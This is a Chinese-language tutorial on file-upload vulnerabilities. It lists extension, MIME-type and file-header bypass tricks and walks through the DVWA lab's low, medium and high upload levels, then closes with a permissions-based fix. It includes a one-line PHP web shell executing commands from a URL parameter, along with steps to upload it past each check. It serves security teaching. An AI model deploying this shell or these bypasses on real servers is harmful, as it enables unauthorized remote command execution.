手动漏洞挖掘(四)-文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

漏洞成因

  1. 对于上传文件的后缀名(扩展名)没有做较为严格的限制

  2. 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查

  3. 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)

  4. 对于web server对于上传文件或者指定目录的行为没有做限制

常用绕过方法

  • iis6.0解析漏洞
    目录解析漏洞:如果网站目录中存在/.asp/的目录,那么在此目录下的文件会被当作asp脚本解析。
    分号漏洞:如test.asp;jpg,可绕过黑名单限制。

  • apache解析漏洞
    文件名test.xxx.yyy.zzz,apache会从右往左解析(zzz->yyy->xxx),如果xxx格式解析不出来,就会尝试解析yyy格式,如test.php.rar,apache不会解析rar文件,就会解析成php文件。

  • Nginx解析漏洞

    • test.jpg/x.php进行解析攻击
    • 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行
  • 00截断
    截断的核心,就是chr(0)这个字符,这个字符不为空(Null),也不是空字符(“”),更不是空格! 当程序在输出含有chr(0)变量时,chr(0)后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生 。

  • 大小写绕过
    如test.pHp 、 test.aSP;

  • 绕过js前端限制

  • MIMETYPE检测
    绕过的方法就是通过修改Content-Type的值,修改为image/jpeg;image/png;image/gif等
    在kali中有一个工具mimetype可以判断内容类型(Content-Type)

    1
    2
    root@kali:~/test# mimetype shell.php 
    shell.php: application/x-php
  • 文件头修改
    以16进制形式打开文件,修改文件头;有些网站会对文件的头部信息进行判断,如果不符合条件就会被过滤,因此通过修改头部信息进行伪装可以绕过这种检查

    1
    2
    3
    JPEG (jpg),文件头:FFD8FF
    PNG (png),文件头:89504E47
    GIF (gif),文件头:47494638

漏洞PoC

编写一个简单的php木马文件,保存位shell.php

1
<?php echo shell_exec($_GET['cmd']);?>

image

上传成功
返回的路径信息../../hackable/uploads/shell.php
通过浏览器执行木马

1
http://10.0.2.5/dvwa/hackable/uploads/shell.php

image

源码分析

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; //拼接路径
$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>

move_uploaded_file(file,newloc) 函数将上传的文件移动到新位置。 若成功,则返回 true,否则返回 false。
由于low级别代码没有做任何限制所以可以上传任意格式的文件

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>

medium级别的代码添加了一定的限制,上传的文件大小于100k且mimetype类型为image/jpeg
image
只需要将Content-Type: application/x-php修改为Content-Type: image/jpeg
大小也可以做修改
image
这样即可绕过限制

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
if (isset($_POST['Upload'])) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); //
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){


if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {

echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>

substr(string,start,length) 截取字符串
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。

注释:strrpos() 函数是区分大小写的。
相关函数:

  • strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
  • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

虽然是high级别的代码,但仍有办法绕过,在shell.php后面添加.jpg后缀—shell.php.jpg,即可绕过代码限制,然后利用apache解析脚本的特性,就可以执行php的代码
image
image
执行上传的php木马
image

漏洞防御

代码做了多层的防护,还是可以被绕过;其实有效的防御方法是让上传的文件没有执行权限
image
这里的uploads所属用户是www-data,并且所有用户都有可以执行的权限
去掉所有用户的可执行权限

1
sudo chmod a-x uploads/

image
此时再次执行php木马,就会因权限不足而被禁止访问
image


参考
文件上传限制绕过的原理以及方法总结
文件上传漏洞
常用文件格式十六进制文件头